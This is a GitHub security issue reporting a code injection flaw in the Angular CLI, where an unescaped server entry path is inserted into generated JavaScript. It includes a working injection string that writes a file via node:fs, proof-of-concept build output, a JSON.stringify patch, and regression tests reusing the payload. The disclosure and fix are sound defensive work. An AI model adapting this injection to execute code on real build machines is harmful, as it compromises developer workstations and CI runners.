Skip to content

Security: Angular CLI build-time code injection via unescaped server entry path #33076

@foxllb

Description

@foxllb

Command

build

Is this a regression?

  • Yes, this behavior used to work in the previous version

The previous version in which this bug was not present was

No response

Description

Report description

Angular CLI build-time code injection via unescaped server entry path

The problem

Please describe the technical details of the vulnerability

1. technical details

The Angular application builder accepts the server entry path as a plain string and converts it directly into a workspace path:

let serverEntryPoint: string | undefined;
if (typeof options.server === 'string') {
  if (options.server === '') {
    throw new Error('The "server" option cannot be an empty string.');
  }

  serverEntryPoint = path.join(workspaceRoot, options.server);
}

That path is later transformed into a module specifier:

function entryFileToWorkspaceRelative(workspaceRoot: string, entryFile: string): string {
  return './' + toPosixPath(relative(workspaceRoot, entryFile).replace(/.[mc]?ts$/, ''));
}

Angular CLI then embeds the resulting string directly into generated virtual module source code for the server bundle:

const mainServerEntryPointJsImport = entryFileToWorkspaceRelative(
  workspaceRoot,
  mainServerEntryPoint,
);

const contents: string[] = [
  `import '${mainServerInjectManifestNamespace}';`,
  `export {
    ɵdestroyAngularServerApp,
    ɵextractRoutesAndCreateRouteTree,
    ɵgetOrCreateAngularServerApp,
  } from '@angular/ssr';`,
  `export { ɵresetCompiledComponents } from '@angular/core';`,
  `export { default } from '${mainServerEntryPointJsImport}';`,
  `export * from '${mainServerEntryPointJsImport}';`,
];

The same unsafe pattern also appears in the SSR entry bundle path:

const serverEntryPointJsImport = entryFileToWorkspaceRelative(
  workspaceRoot,
  serverEntryPoint,
);
const contents: string[] = [
  `import '${ssrInjectManifestNamespace}';`,
  `import * as server from '${serverEntryPointJsImport}';`,
  `export * from '${serverEntryPointJsImport}';`,
  `const defaultExportName = 'default';`,
  `export default server[defaultExportName]`,
];

Because these module specifiers are inserted into single-quoted JavaScript source without escaping, a malicious server value containing a quote can break out of the string literal and inject arbitrary JavaScript into the generated virtual module.

For example, a server value like:

src/main.server';globalThis.process.getBuiltinModule('node:fs').writeFileSync('issue4-hit','1');'x.ts

produces generated code equivalent to:

export { default } from './src/main.server';globalThis.process.getBuiltinModule('node:fs').writeFileSync('issue4-hit','1');'x';
export * from './src/main.server';globalThis.process.getBuiltinModule('node:fs').writeFileSync('issue4-hit','1');'x';

During a static SSR/prerender build, Angular CLI loads the generated main.server.mjs module:

async function renderPage({ url }: RenderOptions): Promise<string | null> {
  const { ɵgetOrCreateAngularServerApp: getOrCreateAngularServerApp } =
    await loadEsmModuleFromMemory('./main.server.mjs');

  const angularServerApp = getOrCreateAngularServerApp({
    allowStaticRouteRender: true,
  });

As a result, the injected JavaScript executes during the build.

2. vulnerability reproduction

The attached PoC script is:

cd ./work/angular-cli/server_entry_code_injection_test
./run-poc.sh

This PoC uses the current local angular-cli repository code. It consumes the
local package tarballs built from the current worktree, creates a disposable
SSR/prerender application, sets a malicious build.options.server value, and
runs a normal static build:

ng build --configuration development --output-mode=static

The malicious server option used by the current PoC is:

src/main.server';globalThis.process.getBuiltinModule('node:fs').writeFileSync('build-rce-marker.txt','RCE_reached_the_build_worker.');'x.ts

Observed result from the PoC:

[poc] Injected server option:
src/main.server';globalThis.process.getBuiltinModule('node:fs').writeFileSync('build-rce-marker.txt','RCE_reached_the_build_worker.');'x.ts

[poc] Build-time RCE marker:
/root/code/google/work/angular-cli/server_entry_code_injection_test/runtime/project/build-rce-marker.txt
RCE_reached_the_build_worker.
[poc] Generated static output:
/root/code/google/work/angular-cli/server_entry_code_injection_test/runtime/project/dist/server-entry-code-injection/browser/index.html

This demonstrates that attacker-controlled JavaScript from the server entry
path is injected into the generated server module and executed during the
Angular CLI build. The PoC intentionally does not include a control case; it
only demonstrates the real impact path.

The generated output also confirms that Angular CLI completed the static SSR
flow after executing the injected payload:

runtime/project/dist/server-entry-code-injection/browser/index.html

3. patch

diff --git a/packages/angular/build/src/tools/esbuild/application-code-bundle.ts b/packages/angular/build/src/tools/esbuild/application-code-bundle.ts
index c3f542e1bdfb529198a149751ffb44ecd9672287..842bb35e5abae1b7ebe227631588bd4ef71d181b 100644
--- a/packages/angular/build/src/tools/esbuild/application-code-bundle.ts
+++ b/packages/angular/build/src/tools/esbuild/application-code-bundle.ts
@@ -338,6 +338,7 @@ export function createServerMainCodeBundleOptions(
             workspaceRoot,
             mainServerEntryPoint,
           );
+          const mainServerEntryPointSpecifier = JSON.stringify(mainServerEntryPointJsImport);
 
           const contents: string[] = [
             // Inject manifest
@@ -354,8 +355,8 @@ export function createServerMainCodeBundleOptions(
             `export { ɵresetCompiledComponents } from '@angular/core';`,
 
             // Re-export all symbols including default export from 'main.server.ts'
-            `export { default } from '${mainServerEntryPointJsImport}';`,
-            `export * from '${mainServerEntryPointJsImport}';`,
+            `export { default } from ${mainServerEntryPointSpecifier};`,
+            `export * from ${mainServerEntryPointSpecifier};`,
           ];
 
           return {
@@ -481,13 +482,14 @@ export function createSsrEntryCodeBundleOptions(
             workspaceRoot,
             serverEntryPoint,
           );
+          const serverEntryPointSpecifier = JSON.stringify(serverEntryPointJsImport);
           const contents: string[] = [
             // Configure `@angular/ssr` app engine manifest.
             `import '${ssrInjectManifestNamespace}';`,
 
             // Re-export all symbols including default export
-            `import * as server from '${serverEntryPointJsImport}';`,
-            `export * from '${serverEntryPointJsImport}';`,
+            `import * as server from ${serverEntryPointSpecifier};`,
+            `export * from ${serverEntryPointSpecifier};`,
             // The below is needed to avoid
             // `Import "default" will always be undefined because there is no matching export` warning when no default is present.
             `const defaultExportName = 'default';`,
diff --git a/packages/angular/build/src/builders/application/tests/options/server_spec.ts b/packages/angular/build/src/builders/application/tests/options/server_spec.ts
index a01a4eef73e22e66fece5683fb656254af2e885e..5d9471dbdfba3e934464881844389acf2e82ffa7 100644
--- a/packages/angular/build/src/builders/application/tests/options/server_spec.ts
+++ b/packages/angular/build/src/builders/application/tests/options/server_spec.ts
@@ -7,6 +7,7 @@
  */
 
 import { buildApplication } from '../../index';
+import { OutputMode } from '../../schema';
 import { APPLICATION_BUILDER_INFO, BASE_OPTIONS, describeBuilder } from '../setup';
 
 describeBuilder(buildApplication, APPLICATION_BUILDER_INFO, (harness) => {
@@ -77,6 +78,22 @@ describeBuilder(buildApplication, APPLICATION_BUILDER_INFO, (harness) => {
       harness.expectFile('dist/browser/main.js').toNotExist();
     });
 
+    it('escapes special characters in the server entry path when generating the server bundle', async () => {
+      harness.useTarget('build', {
+        ...BASE_OPTIONS,
+        outputMode: OutputMode.Static,
+        server:
+          "src/main.server';globalThis.process.getBuiltinModule('node:fs').writeFileSync('issue4-hit','1');'x.ts",
+      });
+
+      const { result, logs } = await harness.executeOnce({ outputLogsOnFailure: false });
+
+      expect(result?.success).toBeFalse();
+      expect(logs).toContain(
+        jasmine.objectContaining({ message: jasmine.stringMatching('Could not resolve \"') }),
+      );
+      harness.expectFile('issue4-hit').toNotExist();
+    });
+
     it('throws an error when given an empty string', async () => {
       harness.useTarget('build', {
         ...BASE_OPTIONS,
diff --git a/packages/angular/build/src/builders/application/tests/options/output-mode.ts b/packages/angular/build/src/builders/application/tests/options/output-mode.ts
index 4e6a6eb49a7d7af84b4fd4a0abe2702ccbe1a33c..4553dd3501b4dfeb171ceafd89a9dffd731bb6c6 100644
--- a/packages/angular/build/src/builders/application/tests/options/output-mode.ts
+++ b/packages/angular/build/src/builders/application/tests/options/output-mode.ts
@@ -38,6 +38,25 @@ describeBuilder(buildApplication, APPLICATION_BUILDER_INFO, (harness) => {
       harness.expectDirectory('dist/server').toNotExist();
     });
 
+    it('escapes special characters in the ssr entry path when generating the SSR entry bundle', async () => {
+      harness.useTarget('build', {
+        ...BASE_OPTIONS,
+        outputMode: OutputMode.Static,
+        server: 'src/main.server.ts',
+        ssr: {
+          entry:
+            "src/server';globalThis.process.getBuiltinModule('node:fs').writeFileSync('issue4-hit','1');'x.ts",
+        },
+      });
+
+      const { result, logs } = await harness.executeOnce({ outputLogsOnFailure: false });
+
+      expect(result?.success).toBeFalse();
+      expect(logs).toContain(
+        jasmine.objectContaining({ message: jasmine.stringMatching('Could not resolve \"') }),
+      );
+      harness.expectFile('issue4-hit').toNotExist();
+    });
+
     it(`should emit 'server' directory when OutputMode is Server`, async () => {
       harness.useTarget('build', {
         ...BASE_OPTIONS,

Impact analysis – Please briefly explain who can exploit the vulnerability, and what they gain when doing so

An attacker who can influence the Angular workspace configuration used for a build can exploit this issue by supplying a crafted build.options.server value.

Successful exploitation executes attacker-controlled JavaScript in the Node.js process that performs the Angular CLI build. In practice, this gives the attacker code execution with the privileges of the developer workstation or CI runner building the application.

Minimal Reproduction

server_entry_code_injection_test.tar.gz

Exception or Error


Your Environment

latest code

Anything else relevant?

No response

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions